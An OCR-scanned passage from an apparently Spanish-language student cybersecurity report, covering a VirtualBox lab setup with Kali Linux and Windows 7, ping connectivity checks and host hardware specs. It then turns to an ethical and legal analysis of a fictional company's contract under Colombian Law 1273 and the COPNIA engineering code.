Hy Cambiar la configuracion de £Qué son las ubicaciones de red?
notificaciones

I e T At Erealie

Actualizar configuracién de firewall
_Windows

Firewall de Windows no esta usando la
configuracidn recomendada para proteger el

[ ‘E‘:;‘Usarlaconﬂgura:lén recomendada ]

# Restaurar valores

predeterminados equipo.
®y Configuracién avanzada £Cudl es la configuracién recomendada?
Solucién de problemas de red =
. &7 Redes domésticas o de trabajo (privadas) No conectado ()
. &J Redes piiblicas Conectado ()

Redes en lugares piblicos como aeropuertos o cafeterias

Estado de Firewall de Windows: Desactivado

Conexicnes entrantes: Bloquear todas las conexiones a los programas
b que no estén en la lista de programas permitidos
Centro de actividades Redes publicas activas: F Red 4
Centro de redes y recursos Estade de notificacién: Metificarme cuande Firewall de Windows
compartidos bloguee un nuevo programa

Fuente: Elaboracion propia
En esta ilustracion, se muestra el menu en el que se selecciona la opcion para desactivar el
Firewall de Windows. Aunque no es recomendable desactivar el firewall de forma permanente,
esta accion es necesaria para esta prueba de comunicacion. Esto asegura que el trafico entrante de

red no sea bloqueado por el firewall.
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llustracion 53 Desactivando el Firewall de Windows

== ] (]
trol =) |

@\;=|ﬁ < Firewall de Windows » Personalizar configuracién ~ [ %3 ||[ Buscaren etPanet d

Personalizar la configuracion de cada tipo de red
Puede modificar la configuracién del firewall para cada tipo de ubicacién de red que use.
:Qué son las ubicaciones de red?
Configuracién de ubicacién de red doméstica o del trabajo (privada)
@@ @ Activar Firewall de Windows
: [l Bloquear todas las conexiones entrantes, incluidas las de |a lista de programas permitidos
[#] Motificarme cuando Firewall de Windows bloguee un nueve programa

@l =) Desactivar Firewall de Windows (no recomendado)

Configuracion de ubicacién de red piblica

I =z

iones entrantes, incluidas las de la lista de programas permitidos

Motificarme cuando Firewall de Windows bloquee un nuevo programa

I %3 © Desactivar Firewall de Windows (no recomendado) ]

Ll aceptar ||[ cancelar |

Fuente: Elaboracion propia

Aqui se verifica que el firewall ha sido desactivado correctamente. Al desactivar el
firewall, se garantiza que los paquetes enviados desde Kali Linux puedan llegar a la maquina
Windows 7 sin ser blogueados, lo que es esencial para realizar la prueba de ping desde Kali Linux.
Ping desde Kali Linux hacia Win7

llustracion 54 Prueba de comunicacion entre las maquinas desde Kali Linux hacia Win7

@i~ | v 2 4 | o 4% & @707 | & &

kali@KaliRimk: ~

File Actions Edit View Help

ethe: flags=4163<U ET,RUNNING,MULTICAST> mtu 1500

inet 192. netmask 255.255.255.0 broadcast 192.168.5.255
:fe62:ecaf prefixlen 64 scopeid 0x2@<link>

ether 08:00: H H :af txqueuelen 1000 (Ethernet)
X packets 1
RX errors @ dropped @ overruns 0
X packets 700 bytes 67940 (66.3 KiB)
X errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.@.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @xl@<host>
loop txqueuelen 100@ (Local Loopback)
X packets 8 bytes 480 (480.0 B)
X errors @ dropped @ overruns @ frame @
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped © overruns @ carrier @ collisions ©

192.168.5.102
PING 192.168.5.102 (192.168.5.102) 56(84) bytes
64 bytes from 192.168.5.102: icmp_seg=1 ttl=128
64 bytes from 192.168.5.102: icmp_seg=2 ttl=128
64 bytes from 192.168.5.102: icmp_seg=3 ttl=128 time=1.51 ms

Fuente: Elaboracion propia
En este paso, se realiza un ping desde la maquina Kali Linux hacia Windows 7. Un ping

exitoso confirma que la maquina Kali Linux puede comunicarse con Windows 7 sin problemas, y
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que la red esta correctamente configurada. Esto es clave para validar que la comunicacion
bidireccional entre ambas maquinas es efectiva.

llustracion 55 Verificacion de direccionamiento de las maquinas

EX Administradeor CAWindowshsystem32hcmd.exe

C:wUserssusuarioX>ipconfig

Configuracidn IP de Windows

Adaptador» de Ethernet Conexidn de Awrea local:

S e e L o iy
2.168.5._182
Fuerta
Adaptador tinel isatap.{5BESBEDZ-9BA4—-4799-BEB3-D289D73C2468> =

Estade de los medios. - . - - - - - _ . - - = medieos desconectados
Sufijo DHS especifico para la conexidn. . =

C:wUserssusuario>—

im P ]| 1 2 3 a

. ) kali@KaliRim ke ~

F O S — _. . i .
Trash File Actions Edit WView Help

File System /

collisions @

collisions @

=23 Ga mmy o5 =1 §&&7 {21 & [#] CTRL DERECHA

Fuente: Elaboracion propia

En este paso se revisa nuevamente la configuracion de red de ambas maquinas para
asegurarse de que las direcciones IP y los parametros de red sean correctos y estén alineados. Este
es un paso de doble verificacidn que asegura que no haya errores en la configuracién que impidan
la comunicacion entre las maquinas virtuales.

Paso D: Evidenciar con printscreen el montaje del banco de trabajo y explicar como se

encuentra desplegado “caracteristicas técnicas de hardware”.
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llustracion 56 Configuracion de la Tarjeta de red en Kali Linux

byt

dropped @

+ LOOPBACK , RUNNING

Editing Wired connection 1

onnectionname  Wired connection 1
Ethern 802.1X Securi

thod ~ Automatic (DHCP)

IPv4 Settings IPv6 S

0.0.1 netmask 253

prefixlen 12 i X
ueuelen 1008 ) Additional static addresses

dropped © overrun e Address
bytes 916 (916.0 B)
uns @ i collisions @

Netmask Gateway

Additional DN ers
h domains
DHCP client ID

Require IPv4 addressing for this connection to complete

Fuente: Elaboracion propia

llustracion 57 Configuracion de la Tarjeta de red en Windows 7

SOOAE

Organizar ~

» Panel de control » Redes e Internet » Conexiones de red »l

Deshabilitar este dispositivo de red Diagnosticar esta conexian Cambiar el nombre de esta conexi

Y Conexién de area local
- Red 4 =
Adaptador de escritoric Intel(R) P... U Propiedades de Conexién de drea local =]

Funciones de red

Conectar usando:

&F Adaptador de escritorio Intel{R} PRO/ 1000 MT

Configurar

Esta conexidn usa los siguientes slementos:

&= Cliente para redes Microsoft

4=l Programader de paguetes QoS

A=) Compartir impresoras y archivas para redes Microsoft

—i Protocolo de Intemet version 6 (TCP/IPw

- Protocolo de Intemet versidn 4 (TCP./IPw4) I

= Cortrolader de E5 del asignador de defecoion de topel...
Respondedor de deteccién de topologias de nivel de «

Propiedades: Protocolo de Internet wversion 4 (TCP/IPwA)

General | Configuracién alternativa

Puede hacer gque la configuracién IP se asigne automaticamente sila
red es compatible con esta funcionalidad. De lo contrario, debera
consultar con el administrador de red cudl es la configuracién 1P
apropiada.

| ©® obtener una direccién 1P automaticament= ||

Usar la siguiente direccién IF:

Obtener la direccion del servidor DNS automaticaments |

) Usar las siguientes direcciones de servidor DMNS:

n al salir

Aceptar [ cancelar |

Fuente: Elaboracion propia



Explicacion del Despliegue del Banco de Trabajo (Caracteristicas de Hardware)

e Recursos asignados a las maquinas virtuales: Detalla las caracteristicas de hardware que has

asignado a cada maquina virtual. Puedes encontrar esta informacién en la configuracién de

cada méaquina dentro de VirtualBox. Aqui esta la estructura sugerida para la explicacion:

¢ Windows 7:

o Memoria RAM: Especifica la cantidad de memoria RAM asignada (8 GB), lo que

influye directamente en el rendimiento de la maquina virtual.

o Procesadores: Indica el nimero de ndcleos de CPU asignados (2 nucleos), lo que

afectara la capacidad de procesamiento de tareas dentro de la maquina virtual.

o [Espacio en disco: Muestra el tamario del disco virtual (25GB), que debe ser suficiente

para almacenar el sistema operativo y herramientas adicionales.

o Adaptador de red: Detalla la configuracion de red (Adaptador Puente), que permitira

la comunicacion con la maquina Kali Linux y acceso a Internet si es necesario.

llustracion 58 Configuracion de Win7

TS5 Oracle VirtualBox Administrador
Archivo  Maquina  Ayuda

[9[7] Herramientas

ESI Seg. DB

x64] Kali_Linux_RIMK
" Corriendo

(x64f | Win7-SE2020-X64 He=
> Corriendo

Pt 1

ik mam S0l

et Ewr Lo =
Nueva Afadir Configuracion artar Mostrar

™| General

Nombre: Win7-SE2020-X64
Sistema operativo: Windows 7 (64-bit)
Grupos: ESI Seg. DB

| ] sistema

Memoria base: 8184 MB
Procesadores: 2

Orden de arranque:  Optica, Disco duro
Paginacion anidada, Paravirtualizacion Hyper-V

Aceleracion:

M| pantalla

Memoria de video: 18 MB
Controlador grifico: VBOXSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacion: Inhabilitado

l#. Almacenamiento
Controlador: SATA

Puerto SATA O:
Puerto SATA 1:

Win7-5E2020-X64-disk001.vdi (Normal, 50,00 GB)
[Unidad éptical Vacio

[ Audio

Controlador de anfitrion:  Windows DirectSound
Controlador: Audio Intel HD

&' Red

Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador puente, «<Intel(R) Wi-Fi 6 AX200 160MHz»)

use

Controlador USB: OHCI, EHCI
Filtros de dispositivos: 0 (0 activa)

| ] Carpetas compartidas
Ninguno
® Descripcién

Ninguno

Fuente: Elaboracion propia
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Kali Linux:

o Memoria RAM: Muestra la cantidad de RAM asignada a esta maquina (8 GB), ya que

Kali Linux tiende a utilizar mas recursos en pruebas de seguridad.

o Procesadores: Explica cuantos nucleos de CPU se le han asignado (2 nucleos),

optimizando el uso del sistema en pruebas de penetracion.

o [Espacio en disco: Indica el tamafio del disco asignado (25 GB), suficiente para Kali

Linux y las herramientas de ciberseguridad.

o Adaptador de red: Detalla el tipo de adaptador de red (Adaptador puente), necesario

para permitir la conectividad con Windows 7'y, si es necesario, con la red externa.

llustracion 59 Configuracion de Kali Linux

15 Oracle VirtualBox Administrador
Archivo Maguina Ayuda

1
“- J Herramientas
ESI Seg. DB
[xé4] Kali_Linux_RIMK o=
. Corriendo U

e W

Nueva Afadir  Configuracion

Descartar Mostrar
™| General

Nombre: Kali_Linux_RIMK
Sistema operativo: Ubuntu (64-bit)
Grupos: ESI Seg. DB

[xe4) Win7-5SE2020-X64
% Corriendo

|I Sistema
Memoria base:
Procesadores:
Orden de arranque: Disquete, Optica, Disco duro

Aceleracion: Paginacion anidada, Paravirtualizacion KVM

8192 MB

M| pantalla

Memoria de video: 16 MB
Controlador grafico: VMSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacion: Inhabilitado

¢, Almacenamiento

Controlador: IDE
Dispositivo IDE secundario 0: [Unidad 6ptica] Vacio
Controlador: SATA

Puerto SATA O: Kali_Linux_RIMK.vdi (Normal, 25,00 GB)

12 Audio

Controlador de anfitrién: Predeterminado
Controlador: ICH AC97

@ Red

Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador puente, «Intel(R) Wi-Fi & AX200 160MHz»)

£ UsB

Controlador USB: OHCI, EHCI
Filtros de dispositivos: 0 (0 activo)
|: Carpetas compartidas
Ninguno

=) Descripcion

Ninguno

Fuente: Elaboracion propia
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Caracteristicas Técnicas del Host (Equipo Fisico)

Especificaciones del equipo anfitrion: Se proporciona detalles sobre el hardware del equipo
fisico que esta ejecutando las maquinas virtuales. Esto ayudara a comprender la capacidad del
sistema para manejar las cargas de trabajo. Incluye los siguientes detalles:

Acer Nitro 5 AN515-54

Procesador: Describe el tipo y la velocidad del CPU del equipo anfitrion (ej. Intel Core 15,
9.4GHz) de 9 Gn, y 4 procesadores, que es responsable de gestionar las operaciones de las
maquinas virtuales.

Memoria RAM total: Indica la cantidad total de RAM disponible en el equipo anfitrién (24
GB RAM), lo que permite el uso fluido de varias maquinas virtuales al mismo tiempo.

Disco duro: Explica el tipo de almacenamiento (256 GB SSD y 1 TB HDD), lo cual impacta
en la velocidad de arranque y rendimiento general.

Tarjeta grafica NVIDIA: Geforce GTX de 4 GB

Sistema operativo del host: Menciona el sistema operativo que soporta VirtualBox
(Windows 11), ya que el host proporciona el entorno para ejecutar VirtualBox y las maquinas

virtuales.
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lustracion 60 Configuracion del host Anfitrion

Elemento

Nombre del sO

Version

Descripcion adicional del SO
Fabricante del SO
Nombre del sistema
Fabricante del sistema
Modelo del sistema
Tipo de sistema

SKU del sistema
Procesador

Wersion y fecha de BIOS
Version de SMBIOS

Version de controladora integ...

Modo de BIOS

Fabricante de la placa base
Producto placa base

Version de la placa base

Rol de plataforma

Estado de arranque seguro
Configuracion de PCR7T
Directorio de Windows
Directorio del sistema
Dispositivo de arranque
Configuracién regional

Capa de abstraccion de hard...
MNombre de usuario

Zona horaria

Memoria fisica instalada (RAN)
Memoria fisica total

Memoria fisica disponible
Memoria virtual total

Mearmaria virtual Adisnonihle

Valor

Microsoft Wwindows 11 Pro
10.0.26100 compilacién 26100
MNo disponible

Microsoft Corporation

RIMNMK

Acer

Nitro AMN515-54

x64-based PC
0000000000000000

Intel(R) Core(ThM) i5-9300H CPU @ 2.40GHz, 2400 Mhz, 4 procesadores pri...
Insyde Corp. V¥1.33, 17/11/2020
3.0

1.29

UEFI

CFL

Octavia_CFS

W1.33

MOl

Activado

Se necesita elevacion de privilegios para ver
CHMNWWINDOWS
CHMNWINDOWSh\system32
wDevicenHarddiskwvolumez2
Meéxico

Version = "10.0.26100.1"
RIMKNrodri

Hora est. Pacifico, Sudamérica
24,0 GB

23,8 GB

10,0 GB

30,4 GB

125 GR

pasos recomendados:

Fuente: Elaboracion propia

Validacion de la Comunicacion entre Maquinas

Capturas de la conectividad en red: Se adjuntad capturas de pantalla que demuestren la

correcta comunicacion entre las maqguinas virtuales Windows 7 y Kali Linux. Aqui estan los

o Captura del ping exitoso desde Windows 7 hacia Kali Linux: Esta prueba muestra

que Windows 7 puede comunicarse con Kali Linux a través de la red virtual.

o Captura del ping desde Kali Linux hacia Windows 7: Esto confirma que la

méaquina Kali Linux también puede enviar paquetes a Windows 7, asegurando que la

comunicacién bidireccional esta funcionando correctamente.
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llustracion 61 Comprobacion de comunicacion entre las maquinas
&
Em Administrador: C\Windows\system32\cmd.exe

»rio>ping 192.
.5
.5_

TL=
TL=
TL=
TL=

-
LY YT

OROORRERER

1 e e e e e e e e e e e e e

Fuente: Elaboracion propia

Finalmente, la ilustracion confirma que ambas méaquinas, Windows 7 y Kali Linux,
estdn comunicandose correctamente entre si a través de la red. Tanto los pings desde
Windows hacia Kali como desde Kali hacia Windows han sido exitosos, lo que indica que
las maquinas estan listas para realizar cualquier tarea que requiera comunicacion en red,
como pruebas de ciberseguridad o analisis de vulnerabilidades.

Importancia de Verificar la Configuracion de Red en Ciberseguridad y Pruebas de
Penetracion
La comprobacion de que las maquinas virtuales, como Windows 7 y Kali Linux, estan
correctamente configuradas en la misma red es esencial por varias razones:
1. Conectividad: Es fundamental que las maquinas puedan comunicarse entre si para que las

pruebas de penetracion sean efectivas. Esto permite que los testers realicen ataques
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controlados y evaluen las vulnerabilidades de un sistema especifico, imitando un escenario

real en el que un atacante intentaria aprovechar debilidades en la red.

2. Interaccion de Herramientas: Muchas herramientas de ciberseguridad utilizadas en las

pruebas de penetracion, como escaneres de vulnerabilidades y herramientas de explotacion,

requieren que las maquinas estén en la misma red para operar adecuadamente. Sin la
conectividad, los resultados de las pruebas podrian ser incompletos o irrelevantes.

3. Simulacion Realista: Crear un entorno de pruebas que refleje la configuracion de una red

real permite a los profesionales de la ciberseguridad identificar y mitigar riesgos de

seguridad en un ambiente controlado. Esto es crucial para preparar a las organizaciones
ante posibles ataques en su infraestructura operativa.

4. Deteccion de Problemas de Configuracién: Verificar la configuracién de red ayuda a
identificar y corregir problemas de conectividad o configuraciones incorrectas antes de
llevar a cabo pruebas mas complejas. Esto reduce el riesgo de obtener resultados erroneos
0 engafiosos en las evaluaciones de seguridad.

5. Optimizacion de Estrategias de Seguridad: Una comunicacién efectiva entre las
maquinas permite a los equipos de ciberseguridad ajustar y mejorar sus estrategias de
defensa basandose en los resultados de las pruebas. Al comprender cdmo interacttan las
maquinas dentro de la red, se pueden implementar medidas de seguridad mas efectivas.

6.2 ETAPA 2: ACTUACION ETICAY LEGAL
¢Unavez leido el anexo 2 —escenario 2 y el anexo 3 - Acuerdo usted logra evidenciar
algun proceso ilegal y no ético que se esté estipulando en dicho acuerdo? Debera argumentar
su respuesta y sefialar los fragmentos ilegales del anexo acuerdo en casode existir alguna

irregularidad.
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Si la respuesta es afirmativa y usted encontrd algun proceso ilegal en el anexo 3
— Acuerdo: acuerdo, deberd mencionar que articulos de la ley 1273 se podrian vulneraren dicho
acuerdo y especificar porqué vulnera articulos de la ley 1273.
Anélisis del Anexo 2 - Escenario 2:
En este escenario, se expone una situacién dentro de la organizacion CyberFort
Technologies relacionada con aspectos legales y éticos. Se menciona que la empresa ha decidido

conformar equipos Red Team y Blue Team, y para ello utiliza contratos que no han sido

revisados adecuadamente, yva que fueron elaborados por un abogado despedido por

actividades ilicitas. La gerencia no revisa los contratos antes de su uso, lo cual plantea un

riesgo de que estos documentos contengan elementos no éticos o ilegales (Anexo 2 - Escenario

2).

En este escenario, se describe una situacion problematica en la organizacién CyberFort
Technologies relacionada con el uso indebido de contratos no revisados legalmente. La empresa
necesita crear un grupo de Red Team y Blue Team, y ha utilizado contratos elaborados
previamente por un abogado despedido por actividades ilicitas. Estos contratos no han sido
sometidos a una revision adecuada por la alta gerencia, lo cual plantea un riesgo considerable
de que contengan elementos ilegales ono éticos (Anexo 2 - Escenario 2).

Uno de los problemas legales més evidentes es la falta de revision y validacion legal de
los contratos antes de ser entregados al personal. Esta falta de diligencia representa una
negligencia en la gestion legal de la empresa, ya que la gerencia, a sabiendas de posibles
irregularidades, continua utilizando estos contratos sin las debidasverificaciones. Esta omision
podria interpretarse como una violacion del deber decuidado de la alta gerencia, una obligacion

esencial en cualquier organizacion en el manejo de contratos laborales.
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Ademas, al no revisar los contratos, la empresa podria estar infringiendo normativas
laborales y de proteccion de datos. Los contratos no revisados podrian incluirclausulas que
vulneren la confidencialidad o proteccion de datos personales, un hecho que, de comprobarse,
podria significar una violacion a la ley 1273, concretamente en susapartados 4 y 2, los cuales
regulan el uso adecuado de la informacion y sancionan la manipulacion indebida de datos
personales. El uso de contratos sin revision comprometetambién la transparencia y confianza en
las relaciones laborales, exponiendo a la empresa a posibles demandas de empleados o
problemas de cumplimiento normativo.

Por estas razones, el uso de contratos no revisados legalmente representa un riesgo
significativo para la integridad legal y reputacion corporativa de CyberFort Technologies, al
incumplir con estandares de cumplimiento ético y con la legislacion vigente en proteccion de
datos y derechos laborales.

Anélisis del Anexo 3:

En la clausula primera, Esta estipula que la parte receptora tiene prohibido divulgar
informacion confidencial sobre procesos ilegales dentro de CyberFortTechnologies, ya sea
directa, indirecta o remotamente. Esta restriccion se impone para evitar que cualquier persona o
entidad divulgue dicha informacion. Este acto contradicelas regulaciones legales y los principios
éticos de transparencia y reporte obligatorio en ciberseguridad, tal como se establece en el
Caodigo Penal Colombiano (Articulo 67), querequiere la denuncia de delitos. La clausula tiene
como objetivo ocultar informacion relevante sobre actividades ilicitas, violando asi el Codigo
Penal de Procedimiento Penalcolombiano.

En la clausula segunda, Define la informacién confidencial como cualquier tipo de

informacion corporativa, técnica, legal, financiera, comercial, estratégica o de mercado, asi
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como datos relacionados con nuevas tecnologias, patentes, modelos de utilidad, disefios
industriales y datos secretos como escuchas telefénicas, interceptaciénilegal de informacion y
acceso abusivo a sistemas informaticos. Esto incluye actividadesilegales como la interceptacion
y el acceso abusivo a sistemas, lo cual viola la Ley 1273,que protege la integridad de los sistemas
informaticos y sanciona tales practicas.

En la clausula cuarta, La clausula en el item 3 exige que las partes receptoras no
divulguen actividades sospechosas de espionaje o la apropiacién de informacién de terceros a
las autoridades. Esta clausula socava principios legales como la denuncia de delitos y
compromete la responsabilidad ética de la parte receptora. También contradicela Ley 1273 y
obliga al partido a convertirse en complice de actos potencialmente delictivos, socavando asi el

deber de denunciar delitos.

Enlaclausulacuarta, literal 5, se indica que la parte receptora deberd “responderante las
autoridades competentes como responsable en caso de que la informacidn se encuentre en su
poder dentro de un proceso de allanamiento.” Aqui, se percibe un intentode transferir la
responsabilidad sobre la posesion de informacion ilegal a la parte receptora, cuando la
responsabilidad deberia recaer en la parte que genera o participa en dichos actos ilicitos. Esta
estrategia busca eximir a CyberFort Technologies de las consecuencias legales que puedan
derivarse de la tenencia de informacion obtenida ilicitamente, lo cual resulta inadmisible desde
una perspectiva ética y legal.

En la clausula cuarta, literal 6, se establece que “la parte receptora se obliga a no
transmitir, comunicar, revelar o de cualquier otra forma divulgar total o parcialmente,publica
o privadamente, la informacion confidencial o ilegal sin el previo consentimientopor escrito de

CyberFort Technologies.” Al igual que en las clausulas anteriores, esta disposicion condiciona
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larevelacion de informacién ilegal encontrada, buscando que la parte receptora no pueda reportar
dichos actos sin el consentimiento de la empresa. Esteenfoque contradice tanto el deber ético
como el legal de denunciar actividades ilicitas.

En la clausula octava, sobre la solucion de controversias, se establece que “en caso de
que la informacion ilegal o confidencial sea encontrada en manos del receptor, este debera
acudir a un abogado privado y dejar exenta de cualquier responsabilidad legal y penal a

’

CyberFort Technologies.” Esta disposicion es un intento evidente de traspasar la
responsabilidad legal a la parte receptora, eximiendo a la empresa de cualquier consecuencia
derivada de la posesion de informacion ilegal. No obstante, la responsabilidad en estos casos
deberia recaer principalmente en la parte que origina o facilita la adquisicion de dicha
informacidn, es decir, CyberFort Technologies, ya que la obligacion ética y legal es proteger los
sistemas y evitar la participacion en actos ilegales.

Analisis de Vulneracién de la Ley 1273

En este analisis se examina la Ley 1273, enfocandose en los articulos especificosque
podrian estar siendo vulnerados por las clausulas presentes en los anexos, particularmente en el
Anexo 3. Se incluyen los articulos 269A, 269C y 269F de la Ley 1273 para explicar
detalladamente como estos estan relacionados con las actividades descritas en los anexos y en
qué medida se ven afectados, fortaleciendo asi el analisis legal y ético del documento (Congreso
de Colombia, 2009).

Explicacion de las Normas Vulneradas:

Ley 1273 de 2009: Esta ley tipifica y sanciona delitos informaticos, especificamente

aquellos relacionados con el acceso, la interceptacion y la divulgacion no autorizada de

informacidn contenida en sistemas informaticos y bases de datos. A continuacion, se explican
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los articulos mas relevantes:

Articulo 269A (Acceso Abusivo a un Sistema Informatico): Este articulosanciona el
acceso no autorizado a sistemas informaticos, lo cual podria ser aplicable si en el Anexo
3 existen clausulas que permitan el acceso no autorizadoa sistemas internos de la empresa
0 a datos confidenciales sin el debido consentimiento. Esto vulnera la privacidad y
proteccion de la informacién personal(Congreso de Colombia, 2009).

Articulo 269C (Interceptacion de Datos Informaticos): Prohibe lainterceptacion o
desvio de datos sin autorizaciéon. Cualquier clausula en los contratos o acuerdos que
permita la manipulacion o acceso a datos personales sin el consentimiento adecuado
infringe este articulo, especialmente si esos datosse encuentran en sistemas internos de la
organizacion (Congreso de Colombia, 2009).

Articulo 269F (Uso de Software Malicioso): Sanciona el uso de software que afecte la
confidencialidad o integridad de la informacion. Si en el anexo se menciona el uso de
programas que puedan alterar la privacidad o el almacenamiento de datos sin regulacion,
esto podria estar violando este articulo (Congreso de Colombia, 2009).

Cadigo de Procedimiento Penal Colombiano, Articulo 67: Este articulo obligaa los
ciudadanos a denunciar los delitos de los que tengan conocimiento. Cualquier clausula
en los anexos que intente condicionar o impedir la denuncia deactos ilicitos va en contra
de este principio, ya que limita la posibilidad de reportarconductas delictivas, atentando
contra el deber ciudadano de denunciar y la responsabilidad ética de la organizacion
(Congreso de Colombia, 2004).

Caddigo Penal, Articulo 454 (Encubrimiento): Este articulo prohibe elencubrimiento

de delitos, sancionando a quienes, con conocimiento deactividades delictivas, decidan
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ocultarlas. Cualquier disposicion que impida la denuncia o fomente el encubrimiento de

conductas ilegales, como se podria deducir en algunos puntos del Anexo 3, viola este

articulo (Congreso de Colombia,2004).

Posibles Articulos VVulnerados

llustracion 1 lustracion 1 Analisis ley 1273 de 2009

Clausula

Primera (Objeto)

Descripcidn

Prohibe a la parte receptora divulgar
informacién sobre procesos ilegales,
impidiendo la denuncia de actividades
ilicitas.

Norma Vulnerada
Codigo de
Procedimiento Penal
Colombiano: Deber de
denunciar delitos.

Articulo

Articulo 67: "Toda persona debe
denunciar a la autoridad los
delitos de cuya comision tenga
conocimiento”.

Segunda (Definicidn
de Informacién
Confidencial)

Clasifica como confidencialla
interceptacion ilegal de informaciony
los accesos abusivos a sistemas
informaticos, ocultando actos ilicitos.

Ley 1273 de 2009:
Proteccion de los
datos y sistemas
informaticos.

Articulo 269A: Acceso abusivo a
un sistema informatico. Articulo
269C: Interceptacion de datos
informaticos.

Cuarta, Literal 3

Establece que la parte receptora no
debe denunciar actividades de
espionaje o apropiacién indebida de
informacién de terceros.

Codigo de
Procedimiento Penal
Colombiano: Obliga a
denunciar delitos.

Articulo 67: Deber de denunciar
delitos.

Cuarta, Literal 5

La parte receptora es responsable ante
las autoridades sise encuentra en
posesion de informacion ilegal,
eximiendo de responsabilidad a la parte

emisora.

Ley 1273 de 2009:
Proteccion de
sistemas informaticos.

Articulo 269A: Acceso abusivo a
un sistema informatico. Articulo
269F: Violacion de datos

personales.

Cuarta, Literal 6

Prohibe la divulgacion de informacion
confidencialo ilegal sin consentimiento
de la empresa, limitando la posibilidad
de reportar actos ilicitos.

Ley 1273 de 2009:
Proteccién contra la
divulgacion no
autorizada de
informacion.

Articulo 269F: Viclacion de
datos personales. Cédigo Penal:
Encubrimiento de delitos.
Articulo 454: Encubrimiento.

Octava (Solucién de
Controversias)

Obliga a la parte receptora a buscar
defensa privada si se encuentra con
informaciénilegal, eximiendo a la
empresa de responsabilidad.

Ley 1273 de 2009:
Sanciona eluso
indebido de la
informacion
confidencial oilicita.

Articulo 269A: Acceso abusivo a
un sistema informatico. Articulo
269F: Violacién de datos
personales.

Fuente: Elaboracion propia.

¢ Existiendo procesos poco confiables en el anexo 3 — Acuerdo, ¢usted como experto en
ciberseguridad aplicaria a este trabajo en CyberFort Technologies, donde la organizacion
dispone de un 2 sueldo de $15.000.000 de pesos colombianos mensuales y contrato vitalicio?
Debe argumentar su respuesta ya sea afirmativa o negativa y tener en cuenta enla
argumentacion que dispone COPNIA en su codigo de ética para ingenieros. CyberFort
Technologies ofrece un salario altamente atractivo de $15.000.000 en pesos colombianos y un
contrato vitalicio. Sin embargo, como ingeniero experto en ciberseguridad no solicitaria trabajar
alli, ya que la organizacion tiene procesos de seguridad deficientes y por demés dudosos que
afectarian de manera significativa mi imagen como profesional y menoscabaria también mis
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principios éticos y morales, por ello, esta decision la fundamento en el Cédigo de Etica
Profesional de COPNIA, establecido en 2003, que define principios y prohibiciones para
ingenieros y profesionales relacionados (Copnia, n.d.).

Argumentos Basados en el Codigo de Etica del COPNIA

1. Compromiso con la Etica y el Bien Publico (Introduccién y Articulo 33)EI
Codigo de Etica del COPNIA es un marco de maneras de actuar, el cual exigeque los
ingenieros ejerzan su profesién con altos principios éticos y responsabilidad social,
procurando siempre el bien publico y evitando précticas perjudiciales para la sociedad.
La ciberseguridad es un campo en el cual los riesgos para el pablico son elevados si no
se cumplen los estandares de confiabilidad y proteccion de datos. Participar en un
entorno con procesos poco confiables podria exponer a la sociedad a violaciones de
seguridad, pérdida de informacion y riesgos de privacidad, lo cual es incompatible con
los principios de responsabilidad social del COPNIA (Copnia, n.d.).

2. Deberes hacia la Dignidad de la Profesién y Proteccion del Entorno (Articulo31 y
35) Segun el Codigo, el ingeniero debe preservar la dignidad y confiabilidadde su
profesion, evitando cualquier accion que pueda desprestigiarla. Trabajar en una
organizacion con procesos poco confiables podria comprometer su integridad profesional
y reputacion, ademas de limitar su capacidad de garantizar la seguridad en los sistemas.
Esto no solo afecta su imagen, sino que también poneen riesgo la percepcion publica
sobre la confiabilidad de los profesionales en ingenieria y ciberseguridad (Copnia, n.d.).

3. Prohibiciones respecto a la Sociedad y al Publico (Articulo 34 y 40) El
Acrticulo 34 establece que los ingenieros deben abstenerse de aceptar trabajosque violen

disposiciones legales o que excedan su capacidad profesional si el entorno no permite un

92



adecuado control y calidad. En una empresa con procesospoco confiables, el ingeniero
podria verse en la posicion de avalar actividades o sistemas que no cumplen con los
estandares de seguridad necesarios, violando asi esta prohibicién. Ademas, el Articulo
40 prohibe ofrecer servicios de dudosoo imposible cumplimiento; en un ambiente de
ciberseguridad sin procesos confiables, el cumplimiento adecuado seria un reto
constante, poniendo en riesgola seguridad del cliente y del publico (Copnia, n.d.).

4. Riesgo de Sanciones Disciplinarias y Faltas Gravisimas (Articulo 53) ElI Codigo
prevé sanciones severas para las faltas graves y gravisimas, que incluyen desde sanciones
e inclusive la inhabilitacién de la matricula profesional.Si el ingeniero colabora en una
organizacion con deficiencias que comprometan la seguridad de sus clientes o del publico,
podria incurrir en faltas que el COPNIAconsidera gravisimas. Esto representa un riesgo
significativo para su carrera profesional y un incumplimiento ético (Copnia, n.d.).

Por tanto, aunque el salario y la estabilidad contractual ofrecidos por CyberFort
Technologies son atractivos, aceptar un cargo en una empresa con procesos poco confiables
no se alinea con las obligaciones y prohibiciones del Codigo de Etica del COPNIA. La
responsabilidad del ingeniero de ciberseguridad hacia el bien pablico, la dignidad de la profesion

y la seguridad de sus clientes y del entorno implica que, en estecontexto, no seria ético ni

adecuado aceptar este puesto en CyberFort Technologies (Copnia, n.d.).

e ;Hasta qué punto las empresas de ciberseguridad deben tener acceso a informacion sensible
de sus clientes durante una auditoria de seguridad, y como se puede garantizar que este
acceso no sea explotado de manera indebida?

Durante una auditoria de seguridad, las empresas de ciberseguridad, como CyberFort

Technologies, tienen acceso a informacion sensible de sus clientes. Sin embargo, la falta de
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controles adecuados en estos procesos puede llevar a abusos éticosy legales, como fue el caso en
CyberFort. Para que las auditorias se realicen de maneraética, es necesario implementar medidas
estrictas que limiten y regulen dicho acceso (Scientific Research, 2024).
Alcance del Acceso a Informacion Sensible
Para realizar auditorias efectivas, las empresas de ciberseguridad necesitan acceso a
ciertos datos criticos, aunque este acceso debe limitarse estrictamente a lo quesea indispensable
para alcanzar los objetivos de la auditoria. Las especificaciones contractuales y los protocolos
internos deben incluir:
« Extension del acceso: Especificar claramente qué informacion seré accesible y cuél no,

para evitar el abuso o manipulacién indebida.

e Propositos autorizados: Limitar el uso de la informacion a los fines explicitos dela
auditoria, prohibiendo cualquier uso adicional sin el consentimiento expreso delcliente
(Scientific Research, 2024).

Garantias Contra el Abuso de Acceso
